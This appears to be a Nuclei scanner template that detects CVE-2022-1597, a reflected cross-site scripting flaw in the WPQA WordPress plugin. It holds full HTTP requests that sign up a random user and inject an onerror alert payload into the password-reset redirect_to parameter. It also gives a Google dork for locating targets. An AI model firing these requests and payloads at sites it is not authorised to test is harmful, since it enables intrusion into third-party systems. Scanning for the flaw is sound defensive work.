id: CVE-2022-1597

info:
  name: WPQA < 5.4 - Reflected Cross-Site Scripting
  author: veshraj
  severity: medium
  description: |
    The plugin, used as a companion for the Discy and Himer themes,
    does not sanitise and escape a parameter on its reset password
    form which makes it possible to perform reflected XSS.
  reference:
    - https://wpscan.com/vulnerability/faff9484-9fc7-4300-bdad-9cd8a30a9a4e
    - https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2022-1597
  classification:
    cve-id: CVE-2022-1597
  metadata:
    verified: true
    google-dork: inurl:/wp-content/plugins/wpqa
  tags: xss,wordpress,wp-plugin,wp,cve,cve2022,wpqa

variables:
  user: "{{to_lower(rand_base(5))}}"
  pass: "{{user}}{{to_lower(rand_base(3))}}"
  redirect_to: '"><img src=x onerror=alert(document.domain)>'

requests:
  - raw:
      - |
        POST /wp-admin/admin-ajax.php HTTP/1.1
        Host: {{Hostname}}
        User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:100.0) Gecko/20100101 Firefox/100.0
        Content-Type: application/x-www-form-urlencoded

        user_name={{user}}&email={{user}}@{{Host}}&pass1={{pass}}&pass2={{pass}}&phone={{rand_text_numeric(10)}}&agree_terms=on&form_type=wpqa-signup&action=wpqa_ajax_signup_process

      - |
        POST /wp-admin/admin-ajax.php HTTP/1.1
        Host: {{Hostname}}
        User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:100.0) Gecko/20100101 Firefox/100.0
        Content-Type: application/x-www-form-urlencoded

        user_mail={{user}}@{{Host}}&form_type=wpqa_forget&action=wpqa_ajax_password_process&redirect_to={{url_encode(redirect_to)}}

    matchers-condition: and
    matchers:
      - type: word
        part: body
        words:
          - '{{redirect_to}}'
          - '"success":1'
        condition: and

      - type: word
        part: header
        words:
          - text/html

      - type: status
        status:
          - 200